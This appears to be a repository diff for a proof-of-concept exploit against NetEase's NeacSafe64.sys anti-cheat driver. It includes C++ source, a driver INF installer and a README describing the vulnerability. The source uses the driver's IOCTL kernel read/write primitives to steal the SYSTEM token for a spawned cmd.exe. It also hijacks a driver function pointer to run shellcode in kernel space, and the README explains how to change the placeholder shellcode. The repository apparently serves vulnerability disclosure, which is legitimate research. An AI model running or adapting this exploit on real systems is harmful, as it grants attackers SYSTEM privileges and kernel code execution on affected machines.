@@ -0,0 +1,252 @@
|
|||||||
|
// NeacController.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
|
||||||
|
//
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
#include<windows.h>
|
||||||
|
#include"controller.h"
|
||||||
|
#include"service.h"
|
||||||
|
|
||||||
|
DWORD parse_export_rva(const BYTE* moduleBase, const char* funcName) {
|
||||||
|
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
|
||||||
|
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return 0;
|
||||||
|
|
||||||
|
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(moduleBase + dosHeader->e_lfanew);
|
||||||
|
IMAGE_DATA_DIRECTORY exportDirEntry = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
if (exportDirEntry.VirtualAddress == 0) return 0;
|
||||||
|
|
||||||
|
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)(moduleBase + exportDirEntry.VirtualAddress);
|
||||||
|
DWORD* nameRvas = (DWORD*)(moduleBase + exportDir->AddressOfNames);
|
||||||
|
WORD* ordinals = (WORD*)(moduleBase + exportDir->AddressOfNameOrdinals);
|
||||||
|
DWORD* funcRvas = (DWORD*)(moduleBase + exportDir->AddressOfFunctions);
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
|
||||||
|
const char* name = (const char*)(moduleBase + nameRvas[i]);
|
||||||
|
if (_stricmp(name, funcName) == 0) {
|
||||||
|
WORD ordinal = ordinals[i];
|
||||||
|
return funcRvas[ordinal];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
DWORD get_export_rva(const char *funcName) {
|
||||||
|
char system32Path[MAX_PATH];
|
||||||
|
|
||||||
|
GetSystemDirectoryA(system32Path, MAX_PATH);
|
||||||
|
|
||||||
|
std::string kernelPath = std::string(system32Path) + "\\ntoskrnl.exe";
|
||||||
|
|
||||||
|
HANDLE hFile = CreateFileA(kernelPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||||
|
if (hFile == INVALID_HANDLE_VALUE) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE hMapping = CreateFileMapping(
|
||||||
|
hFile,
|
||||||
|
NULL,
|
||||||
|
SEC_IMAGE | PAGE_READONLY,
|
||||||
|
0, 0,
|
||||||
|
NULL
|
||||||
|
);;
|
||||||
|
if (!hMapping) {
|
||||||
|
CloseHandle(hFile);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
const BYTE* fileBase = (const BYTE*)MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
|
||||||
|
if (!fileBase) {
|
||||||
|
CloseHandle(hMapping);
|
||||||
|
CloseHandle(hFile);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD rva = parse_export_rva(fileBase, funcName);
|
||||||
|
UnmapViewOfFile(fileBase);
|
||||||
|
|
||||||
|
CloseHandle(hMapping);
|
||||||
|
CloseHandle(hFile);
|
||||||
|
return rva;
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID SSDT_Items[0x1000];
|
||||||
|
HANDLE hPort;
|
||||||
|
PVOID find_krnl_images(PVOID PsLoadedModuleList, const wchar_t* name) {
|
||||||
|
PVOID Ptr;
|
||||||
|
kernel_read_data(hPort, &Ptr, PsLoadedModuleList, 8);
|
||||||
|
WCHAR ModuleName[260] = {0};
|
||||||
|
while(Ptr != PsLoadedModuleList) {
|
||||||
|
memset(ModuleName, 0, sizeof(ModuleName));
|
||||||
|
PVOID DllBase;
|
||||||
|
kernel_read_data(hPort, &DllBase, (PBYTE)Ptr + 0x30, 8);
|
||||||
|
|
||||||
|
USHORT NameSize;
|
||||||
|
kernel_read_data(hPort, &NameSize, (PBYTE)Ptr + 0x58, 2);
|
||||||
|
|
||||||
|
PVOID NameAddr;
|
||||||
|
kernel_read_data(hPort, &NameAddr, (PBYTE)Ptr + 0x60, 8);
|
||||||
|
|
||||||
|
kernel_read_data(hPort, &ModuleName, NameAddr, NameSize);
|
||||||
|
if(!lstrcmpW(ModuleName, name)) {
|
||||||
|
return DllBase;
|
||||||
|
}
|
||||||
|
kernel_read_data(hPort, &Ptr, Ptr, 8);
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL execute_shellcode(PVOID NeacSafe64Base, BYTE *Shellcode, DWORD Size) {
|
||||||
|
if(Size > 0x10000) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
PVOID MemPtrAddr = (PVOID)((PBYTE)NeacSafe64Base + 0x2165C0);
|
||||||
|
PVOID NonPagedPool;
|
||||||
|
// try to get the address of NonPagedPool buffer in NeacSafe64.sys.
|
||||||
|
if(!kernel_read_data(hPort, &NonPagedPool, MemPtrAddr, 8)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
// write shellcodes to the buffer
|
||||||
|
if(!kernel_write_data(hPort, NonPagedPool, Shellcode, Size)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
// change the function pointer(NtProtectVirtualMemory) to NonPagedPool buffer.
|
||||||
|
PVOID FuncPtrAddr = (PVOID)((PBYTE)NeacSafe64Base + 0x219EA0);
|
||||||
|
if(!kernel_write_data(hPort, FuncPtrAddr, &NonPagedPool, 8)) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
// call the function pointer and execute the shellcode.
|
||||||
|
protect_memory(hPort, GetCurrentProcessId(), GetModuleHandle(NULL), 16, 0);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void privileges_escalation(PVOID KrnlBase) {
|
||||||
|
DWORD va = get_export_rva("PsInitialSystemProcess");
|
||||||
|
if(va == NULL) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
PVOID PsInitialSystemProcess = (PVOID)((PBYTE)KrnlBase + va);
|
||||||
|
PVOID PsInitialSystemProcessEPROCESS;
|
||||||
|
|
||||||
|
if(!kernel_read_data(hPort, &PsInitialSystemProcessEPROCESS, PsInitialSystemProcess, 8)) {
|
||||||
|
printf("[!] fail to get PsInitialSystemProcess EPROCESS...\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
printf("[+] PsInitialSystemProcess EPROCESS: %p\n", PsInitialSystemProcessEPROCESS);
|
||||||
|
// These tokens will need updating if you are on a different version of Windows!
|
||||||
|
// The offsets can be found here: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/ntos/ps/eprocess/index.htm
|
||||||
|
|
||||||
|
uintptr_t TokenOffset = 0x04B8; // Windows 10 21H2+ and Windows 11 only
|
||||||
|
uintptr_t PIDOffset = 0x0440; // Windows 10 21H2+ and Windows 11 only
|
||||||
|
uintptr_t ActiveProcessLinksOffset = 0x0448; // Windows 10 21H2+ and Windows 11 only
|
||||||
|
|
||||||
|
PVOID SystemToken;
|
||||||
|
if(!kernel_read_data(hPort, &SystemToken, (PBYTE)PsInitialSystemProcessEPROCESS + TokenOffset, 8)) {
|
||||||
|
printf("[!] fail to get SystemToken.\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
printf("[+] SystemToken: %p\n", SystemToken);
|
||||||
|
|
||||||
|
STARTUPINFOA si = {0};
|
||||||
|
PROCESS_INFORMATION pi;
|
||||||
|
CreateProcessA(
|
||||||
|
"C:\\Windows\\system32\\cmd.exe",
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
TRUE,
|
||||||
|
CREATE_NEW_CONSOLE,
|
||||||
|
nullptr,
|
||||||
|
"C:\\Windows",
|
||||||
|
&si,
|
||||||
|
&pi
|
||||||
|
);
|
||||||
|
DWORD OurShellPID = pi.dwProcessId;
|
||||||
|
|
||||||
|
|
||||||
|
LIST_ENTRY activeProcessLinkList;
|
||||||
|
uint64_t NextProcessEPROCESSBlock = (uint64_t)PsInitialSystemProcessEPROCESS;
|
||||||
|
if(!kernel_read_data(hPort, &activeProcessLinkList, (PBYTE)PsInitialSystemProcessEPROCESS + ActiveProcessLinksOffset, sizeof(LIST_ENTRY))) {
|
||||||
|
printf("[!] fail to get ActiveProcessLinks\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// You can fetch every single process' EPROCESS block from this original Kernel list, we iterate through it till we find our shell's PID.
|
||||||
|
while (true) {
|
||||||
|
DWORD processPID;
|
||||||
|
NextProcessEPROCESSBlock = (uint64_t) activeProcessLinkList.Flink - ActiveProcessLinksOffset;
|
||||||
|
// Fetch PID and compare it
|
||||||
|
|
||||||
|
if(!kernel_read_data(hPort, &processPID, (PBYTE)NextProcessEPROCESSBlock + PIDOffset, 4)) {
|
||||||
|
printf("[!] fail to read memory\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (processPID == OurShellPID) {
|
||||||
|
|
||||||
|
PVOID OurShellsToken;
|
||||||
|
if(!kernel_read_data(hPort, &OurShellsToken, (PBYTE)NextProcessEPROCESSBlock + TokenOffset, 8)) {
|
||||||
|
printf("[!] fail to read Token..\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
printf("[+] Token: %p\n", OurShellsToken);
|
||||||
|
|
||||||
|
if(!kernel_write_data(hPort, (PBYTE)NextProcessEPROCESSBlock + TokenOffset, &SystemToken, 8)) {
|
||||||
|
printf("[!] fail to write Token..\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
printf("[+] Success...");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// go to next process' EPROCESS.
|
||||||
|
kernel_read_data(hPort, &activeProcessLinkList, (PBYTE)NextProcessEPROCESSBlock + ActiveProcessLinksOffset, sizeof(LIST_ENTRY));
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
start_driver();
|
||||||
|
hPort = connect_driver();
|
||||||
|
if(hPort == INVALID_HANDLE_VALUE) {
|
||||||
|
printf("[!] fail to connect to driver\n");
|
||||||
|
}
|
||||||
|
get_ssdt_items(hPort, SSDT_Items, sizeof(SSDT_Items));
|
||||||
|
DWORD rva = get_export_rva("NtWaitForSingleObject");
|
||||||
|
if(rva == 0) {
|
||||||
|
printf("[!] fail to get the rva of NtWaitForSingleObject\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if(SSDT_Items[4] == 0) {
|
||||||
|
printf("[!] fail to get the address of NtWaitForSingleObject\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
PVOID KrnlBase = (PVOID)((PBYTE)SSDT_Items[4] - rva);
|
||||||
|
// calcuating the kernel module base.
|
||||||
|
printf("[+] kernel module base address: %p\n", KrnlBase);
|
||||||
|
|
||||||
|
rva = get_export_rva("PsLoadedModuleList");
|
||||||
|
if(rva == 0) {
|
||||||
|
printf("[!] fail to get the rva of PsLoadedModuleList\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
PVOID PsLoadedModuleList = (PVOID)((PBYTE)KrnlBase + rva);
|
||||||
|
PVOID NeacSafe64Base = find_krnl_images(PsLoadedModuleList, L"NeacSafe64.sys");
|
||||||
|
if(!NeacSafe64Base) {
|
||||||
|
printf("[!] fail to get the module base address of NeacSafe64.sys\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
printf("[+] NeacSafe64.sys module base address: %p\n", NeacSafe64Base);
|
||||||
|
|
||||||
|
// test Escalation of Privileges
|
||||||
|
privileges_escalation(KrnlBase);
|
||||||
|
|
||||||
|
// test Code Execution
|
||||||
|
BYTE Shellcode[2] = {0xC3, 0xCC}; // execute shellcode: ret, nothing will happen.
|
||||||
|
execute_shellcode(NeacSafe64Base, Shellcode, 2);
|
||||||
|
|
||||||
|
/*
|
||||||
|
BYTE Shellcode[2] = {0xCC, 0xCC}; // execute shellcode: int 3, this will cause BSOD.
|
||||||
|
execute_shellcode(NeacSafe64Base, Shellcode, 2);
|
||||||
|
*/
|
||||||
|
getchar();
|
||||||
|
CloseHandle(hPort);
|
||||||
|
stop_driver();
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,140 @@
|
|||||||
|
#include"service.h"
|
||||||
|
#include<cstdio>
|
||||||
|
int start_driver() {
|
||||||
|
|
||||||
|
const wchar_t* SERVICE_NAME = L"NeacSafe64";
|
||||||
|
|
||||||
|
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE);
|
||||||
|
if (!scm) {
|
||||||
|
printf("[!] OpenSCManager failed (Error: %d)\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
SC_HANDLE service = OpenService(
|
||||||
|
scm,
|
||||||
|
SERVICE_NAME,
|
||||||
|
SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_STOP
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!service) {
|
||||||
|
DWORD err = GetLastError();
|
||||||
|
if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||||
|
printf("[!] service not exist\n");
|
||||||
|
} else {
|
||||||
|
printf("[!] OpenService failed (Error: %d)\n", err);
|
||||||
|
}
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
SERVICE_STATUS_PROCESS status;
|
||||||
|
DWORD bytesNeeded;
|
||||||
|
if (!QueryServiceStatusEx(
|
||||||
|
service,
|
||||||
|
SC_STATUS_PROCESS_INFO,
|
||||||
|
(LPBYTE)&status,
|
||||||
|
sizeof(status),
|
||||||
|
&bytesNeeded)
|
||||||
|
) {
|
||||||
|
printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError());
|
||||||
|
CloseServiceHandle(service);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if (status.dwCurrentState != SERVICE_RUNNING) {
|
||||||
|
printf("[*] starting...\n");
|
||||||
|
if (!StartService(service, 0, NULL)) {
|
||||||
|
DWORD err = GetLastError();
|
||||||
|
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||||
|
printf("[+] already started\n");
|
||||||
|
} else {
|
||||||
|
printf("[!] StartService failed (Error: %d)\n", err);
|
||||||
|
CloseServiceHandle(service);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
printf("[+] started.\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
CloseServiceHandle(service);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int stop_driver() {
|
||||||
|
|
||||||
|
const wchar_t* SERVICE_NAME = L"NeacSafe64";
|
||||||
|
|
||||||
|
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE);
|
||||||
|
if (!scm) {
|
||||||
|
printf("[!] OpenSCManager failed (Error: %d)\n", GetLastError());
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
SC_HANDLE service = OpenService(
|
||||||
|
scm,
|
||||||
|
SERVICE_NAME,
|
||||||
|
SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_STOP
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!service) {
|
||||||
|
DWORD err = GetLastError();
|
||||||
|
if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||||
|
printf("[!] service not exist\n");
|
||||||
|
} else {
|
||||||
|
printf("[!] OpenService failed (Error: %d)\n", err);
|
||||||
|
}
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
SERVICE_STATUS_PROCESS status;
|
||||||
|
DWORD bytesNeeded;
|
||||||
|
if (!QueryServiceStatusEx(
|
||||||
|
service,
|
||||||
|
SC_STATUS_PROCESS_INFO,
|
||||||
|
(LPBYTE)&status,
|
||||||
|
sizeof(status),
|
||||||
|
&bytesNeeded)
|
||||||
|
) {
|
||||||
|
printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError());
|
||||||
|
CloseServiceHandle(service);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if (status.dwCurrentState == SERVICE_RUNNING) {
|
||||||
|
printf("[*] stopping...\n");
|
||||||
|
SERVICE_STATUS stopStatus;
|
||||||
|
if (!ControlService(service, SERVICE_CONTROL_STOP, &stopStatus)) {
|
||||||
|
CloseServiceHandle(service);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
DWORD64 startTime = GetTickCount64();
|
||||||
|
while (status.dwCurrentState != SERVICE_STOPPED) {
|
||||||
|
Sleep(1000);
|
||||||
|
if (!QueryServiceStatusEx(
|
||||||
|
service,
|
||||||
|
SC_STATUS_PROCESS_INFO,
|
||||||
|
(LPBYTE)&status,
|
||||||
|
sizeof(status),
|
||||||
|
&bytesNeeded)
|
||||||
|
) {
|
||||||
|
printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (GetTickCount64() - startTime > 30000) {
|
||||||
|
printf("[!] time out\n");
|
||||||
|
CloseServiceHandle(service);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
printf("[+] stopped\n");
|
||||||
|
}
|
||||||
|
CloseServiceHandle(service);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
#include<windows.h>
|
||||||
|
|
||||||
|
int start_driver();
|
||||||
|
|
||||||
|
int stop_driver();
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
d:\github\neaccontroller\neaccontroller\x64\debug\vc142.pdb
|
||||||
|
d:\github\neaccontroller\neaccontroller\x64\debug\vc142.idb
|
||||||
|
d:\github\neaccontroller\neaccontroller\x64\debug\service.obj
|
||||||
|
d:\github\neaccontroller\neaccontroller\x64\debug\main.obj
|
||||||
|
d:\github\neaccontroller\neaccontroller\x64\debug\controller.obj
|
||||||
|
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.ilk
|
||||||
|
d:\github\neaccontroller\x64\debug\neaccontroller.exe
|
||||||
|
d:\github\neaccontroller\x64\debug\neaccontroller.pdb
|
||||||
|
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.command.1.tlog
|
||||||
|
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.read.1.tlog
|
||||||
|
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.write.1.tlog
|
||||||
|
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.command.1.tlog
|
||||||
|
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.read.1.tlog
|
||||||
|
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.write.1.tlog
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project>
|
||||||
|
<ProjectOutputs>
|
||||||
|
<ProjectOutput>
|
||||||
|
<FullPath>D:\GitHub\NeacController\x64\Debug\NeacController.exe</FullPath>
|
||||||
|
</ProjectOutput>
|
||||||
|
</ProjectOutputs>
|
||||||
|
<ContentFiles />
|
||||||
|
<SatelliteDlls />
|
||||||
|
<NonRecipeFileRefs />
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
[Version]
|
||||||
|
Signature = "$Windows NT$"
|
||||||
|
Class = "ActivityMonitor" ;This is determined by the work this filter driver does
|
||||||
|
ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class
|
||||||
|
Provider = %ProviderString%
|
||||||
|
DriverVer = 12/17/2021,17.41.6.64
|
||||||
|
|
||||||
|
[DestinationDirs]
|
||||||
|
DefaultDestDir = 12
|
||||||
|
NeacSafe64.DriverFiles = 12 ;%windir%\system32\drivers
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Default install sections
|
||||||
|
;;
|
||||||
|
|
||||||
|
[DefaultInstall]
|
||||||
|
OptionDesc = %ServiceDescription%
|
||||||
|
CopyFiles = NeacSafe64.DriverFiles
|
||||||
|
|
||||||
|
[DefaultInstall.Services]
|
||||||
|
AddService = %ServiceName%,,NeacSafe64.Service
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Default uninstall sections
|
||||||
|
;;
|
||||||
|
|
||||||
|
[DefaultUninstall]
|
||||||
|
DelFiles = NeacSafe64.DriverFiles
|
||||||
|
|
||||||
|
[DefaultUninstall.Services]
|
||||||
|
DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting
|
||||||
|
|
||||||
|
;
|
||||||
|
; Services Section
|
||||||
|
;
|
||||||
|
|
||||||
|
[NeacSafe64.Service]
|
||||||
|
DisplayName = %ServiceName%
|
||||||
|
Description = %ServiceDescription%
|
||||||
|
ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\
|
||||||
|
Dependencies = "FltMgr"
|
||||||
|
ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER
|
||||||
|
StartType = 3 ;SERVICE_DEMAND_START
|
||||||
|
ErrorControl = 1 ;SERVICE_ERROR_NORMAL
|
||||||
|
LoadOrderGroup = "FSFilter Activity Monitor"
|
||||||
|
AddReg = NeacSafe64.AddRegistry
|
||||||
|
|
||||||
|
;
|
||||||
|
; Registry Modifications
|
||||||
|
;
|
||||||
|
|
||||||
|
[NeacSafe64.AddRegistry]
|
||||||
|
HKR,,"SupportedFeatures",0x00010001,0x3
|
||||||
|
HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance%
|
||||||
|
HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude%
|
||||||
|
HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags%
|
||||||
|
|
||||||
|
;
|
||||||
|
; Copy Files
|
||||||
|
;
|
||||||
|
|
||||||
|
[NeacSafe64.DriverFiles]
|
||||||
|
%DriverName%.sys
|
||||||
|
|
||||||
|
[SourceDisksFiles]
|
||||||
|
NeacSafe64.sys = 1,,
|
||||||
|
|
||||||
|
[SourceDisksNames]
|
||||||
|
1 = %DiskId1%,,,
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; String Section
|
||||||
|
;;
|
||||||
|
|
||||||
|
[Strings]
|
||||||
|
ProviderString = "TODO-Set-Provider"
|
||||||
|
ServiceDescription = "NeacSafe64 mini-filter driver"
|
||||||
|
ServiceName = "NeacSafe64"
|
||||||
|
DriverName = "NeacSafe64"
|
||||||
|
DiskId1 = "NeacSafe64 Device Installation Disk"
|
||||||
|
|
||||||
|
;Instances specific information.
|
||||||
|
DefaultInstance = "NeacSafe64 Instance"
|
||||||
|
Instance1.Name = "NeacSafe64 Instance"
|
||||||
|
Instance1.Altitude = "370020"
|
||||||
|
Instance1.Flags = 0x0 ; Suppress automatic attachments
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
## NeacController
|
||||||
|
|
||||||
|
### 0x0 Background
|
||||||
|
|
||||||
|
> **Neac**: NetEase’s self-developed anti-cheat solution, designed to protect its PC games, including but not limited to Overwatch, Naraka: Bladepoint, and FragPunk.
|
||||||
|
|
||||||
|
A vulnerability in NetEase (Hangzhou) Network Co., Ltd NeacSafe64 Driver (versions prior to v1.0.0.8) allows a local attacker to escalate privileges via crafted IOCTL commands to the NeacSafe64.sys component, potentially enabling SYSTEM privilege acquisition and arbitrary shellcode execution in kernel space.
|
||||||
|
|
||||||
|
### 0x1 Escalation of Privileges
|
||||||
|
|
||||||
|
The NeacSafe64 driver exposes two message handlers (Opcode 14 and 70, **msghandler15**/**msghandler71**) that implement **arbitrary kernel-space read/write** primitives. These operations enable NeacController to perform privileged memory manipulation, ultimately achieving SYSTEM privilege escalation through combined exploitation of these capabilities.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 0x2 Code Execution
|
||||||
|
|
||||||
|
The NeacSafe64 driver allocates **NonPagedPool** memory and stores its pointer in a global variable, subsequently utilizing function pointers to invoke system APIs. This implementation allows attackers to:
|
||||||
|
|
||||||
|
- Inject shellcode into the allocated pool memory.
|
||||||
|
|
||||||
|
- Hijack control flow by overwriting the function pointer.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
- Trigger execution through specific Message Handler operations.
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
ultimately achieving arbitrary kernel-mode code execution (KMCE) via controlled pointer redirection.
|
||||||
|
|
||||||
|
### 0x3 Usage
|
||||||
|
|
||||||
|
Deploying the NeacSafe64 driver via NeacSafe64.inf and executing NeacController.exe, and it will spawn a privileged cmd process.
|
||||||
|
|
||||||
|
The demonstration payload currently uses a single `ret` instruction as shellcode, resulting in no observable system behavior. For effective vulnerability validation:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
1. Replace the placeholder shellcode with `0xCC` (INT3 breakpoint opcode)
|
||||||
|
2. Execution will then trigger either:
|
||||||
|
- Debugger break-in via `STATUS_BREAKPOINT` exception
|
||||||
|
- System crash (BSOD) if unhandled in kernel context
|
||||||
|
After Width: | Height: | Size: 32 KiB |
|
After Width: | Height: | Size: 41 KiB |
|
After Width: | Height: | Size: 7.9 KiB |
|
After Width: | Height: | Size: 35 KiB |
|
After Width: | Height: | Size: 9.7 KiB |
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 37 KiB |
@@ -0,0 +1,86 @@
|
|||||||
|
[Version]
|
||||||
|
Signature = "$Windows NT$"
|
||||||
|
Class = "ActivityMonitor" ;This is determined by the work this filter driver does
|
||||||
|
ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class
|
||||||
|
Provider = %ProviderString%
|
||||||
|
DriverVer = 12/17/2021,17.41.6.64
|
||||||
|
|
||||||
|
[DestinationDirs]
|
||||||
|
DefaultDestDir = 12
|
||||||
|
NeacSafe64.DriverFiles = 12 ;%windir%\system32\drivers
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Default install sections
|
||||||
|
;;
|
||||||
|
|
||||||
|
[DefaultInstall]
|
||||||
|
OptionDesc = %ServiceDescription%
|
||||||
|
CopyFiles = NeacSafe64.DriverFiles
|
||||||
|
|
||||||
|
[DefaultInstall.Services]
|
||||||
|
AddService = %ServiceName%,,NeacSafe64.Service
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; Default uninstall sections
|
||||||
|
;;
|
||||||
|
|
||||||
|
[DefaultUninstall]
|
||||||
|
DelFiles = NeacSafe64.DriverFiles
|
||||||
|
|
||||||
|
[DefaultUninstall.Services]
|
||||||
|
DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting
|
||||||
|
|
||||||
|
;
|
||||||
|
; Services Section
|
||||||
|
;
|
||||||
|
|
||||||
|
[NeacSafe64.Service]
|
||||||
|
DisplayName = %ServiceName%
|
||||||
|
Description = %ServiceDescription%
|
||||||
|
ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\
|
||||||
|
Dependencies = "FltMgr"
|
||||||
|
ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER
|
||||||
|
StartType = 3 ;SERVICE_DEMAND_START
|
||||||
|
ErrorControl = 1 ;SERVICE_ERROR_NORMAL
|
||||||
|
LoadOrderGroup = "FSFilter Activity Monitor"
|
||||||
|
AddReg = NeacSafe64.AddRegistry
|
||||||
|
|
||||||
|
;
|
||||||
|
; Registry Modifications
|
||||||
|
;
|
||||||
|
|
||||||
|
[NeacSafe64.AddRegistry]
|
||||||
|
HKR,,"SupportedFeatures",0x00010001,0x3
|
||||||
|
HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance%
|
||||||
|
HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude%
|
||||||
|
HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags%
|
||||||
|
|
||||||
|
;
|
||||||
|
; Copy Files
|
||||||
|
;
|
||||||
|
|
||||||
|
[NeacSafe64.DriverFiles]
|
||||||
|
%DriverName%.sys
|
||||||
|
|
||||||
|
[SourceDisksFiles]
|
||||||
|
NeacSafe64.sys = 1,,
|
||||||
|
|
||||||
|
[SourceDisksNames]
|
||||||
|
1 = %DiskId1%,,,
|
||||||
|
|
||||||
|
;;
|
||||||
|
;; String Section
|
||||||
|
;;
|
||||||
|
|
||||||
|
[Strings]
|
||||||
|
ProviderString = "TODO-Set-Provider"
|
||||||
|
ServiceDescription = "NeacSafe64 mini-filter driver"
|
||||||
|
ServiceName = "NeacSafe64"
|
||||||
|
DriverName = "NeacSafe64"
|
||||||
|
DiskId1 = "NeacSafe64 Device Installation Disk"
|
||||||
|
|
||||||
|
;Instances specific information.
|
||||||
|
DefaultInstance = "NeacSafe64 Instance"
|
||||||
|
Instance1.Name = "NeacSafe64 Instance"
|
||||||
|
Instance1.Altitude = "370020"
|
||||||
|
Instance1.Flags = 0x0 ; Suppress automatic attachments
|
||||||